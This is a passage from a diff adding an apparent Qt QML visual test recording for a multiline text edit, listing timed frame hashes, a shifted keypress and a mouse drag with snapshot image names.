+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4592
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4608
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4624
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4640
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4656
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4672
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4688
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4704
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4720
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4736
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4752
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4768
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4784
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4800
+ image: "usingMultilineEdit.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4832
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Key {
+ type: 6
+ key: 63
+ modifiers: 33554432
+ text: "3f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4848
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4864
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4880
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4896
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4912
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4928
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4944
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Key {
+ type: 7
+ key: 63
+ modifiers: 33554432
+ text: "3f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4960
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4976
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 4992
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5008
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5024
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5040
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5056
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5072
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5088
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5104
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5120
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5136
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5152
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5168
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5184
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5200
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5216
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5232
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5248
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5264
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5280
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5296
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5312
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5328
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5344
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5360
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5376
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5392
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5408
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5424
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5440
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5456
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5472
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5488
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5504
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5520
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5536
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5552
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5568
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5584
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5600
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5616
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5632
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5648
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5664
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5680
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5696
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5712
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5728
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5744
+ hash: "a616e994d83964ff75d95b702f355937"
+ }
+ Frame {
+ msec: 5760
+ image: "usingMultilineEdit.5.png"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 48; y: 19
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5776
+ hash: "e9532a9023548cf5dfca3fdaeb3467e7"
+ }
+ Frame {
+ msec: 5792
+ hash: "e9532a9023548cf5dfca3fdaeb3467e7"
+ }
+ Frame {
+ msec: 5808
+ hash: "e9532a9023548cf5dfca3fdaeb3467e7"
+ }
+ Frame {
+ msec: 5824
+ hash: "e9532a9023548cf5dfca3fdaeb3467e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5840
+ hash: "e9532a9023548cf5dfca3fdaeb3467e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "3ee2836c3a2ff4c71d82dd261941883b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "3ee2836c3a2ff4c71d82dd261941883b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "3ee2836c3a2ff4c71d82dd261941883b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "4e620c1b847274f691e80a384eac5320"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5920
+ hash: "1a246aa1be0878c38da2eaac6befb738"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 69
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
+ hash: "7d6d4a33aacd1d2f530834af31069793"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "eba517141a4dc94025801fabc8c5e813"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 97
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 140
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Frame {
+ msec: 6208
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Frame {
+ msec: 6224
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Frame {
+ msec: 6240
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Frame {
+ msec: 6256
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6272
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6288
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 68; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6304
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6320
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 63; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6336
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6352
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6368
+ hash: "a0f4a1f253c763054ca7d9727d517e5c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6384
+ hash: "b6589493e0225846be0af57024e25d98"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6400
+ hash: "b6589493e0225846be0af57024e25d98"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6416
+ hash: "d8a1bee2a0e57944d8268a2ce7e6c3c1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 16
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6432
+ hash: "a609d3c9cb375240e66dd316af27543c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -9
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6448
+ hash: "0d376060ba0f9843ed814a8d8150d047"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: -23
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6464
+ hash: "9ad787bf41f0ab66beffff056a115c23"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6480
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6496
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6512
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6528
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6544
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6560
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6576
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Frame {
+ msec: 6608
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Frame {
+ msec: 6624
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Frame {
+ msec: 6640
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Frame {
+ msec: 6656
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Frame {
+ msec: 6672
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6688
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: -45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: -42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6704
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 44; y: -39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6720
+ image: "usingMultilineEdit.6.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: -33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: -28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6736
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: -21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6752
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: -18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: -14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6768
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: -10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6784
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: -6
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: -3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6800
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: -1
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 0
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6816
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 3
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6832
+ hash: "bc4cd74678c08403bb16b74630d0fd18"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 5
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6848
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6864
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6880
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 12
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6896
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 6912
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 6928
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 6944
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 6960
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 6976
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 6992
+ hash: "0e728de352bc8658bb3e2900a56bfad9"
+ }
+ Frame {
+ msec: 7008
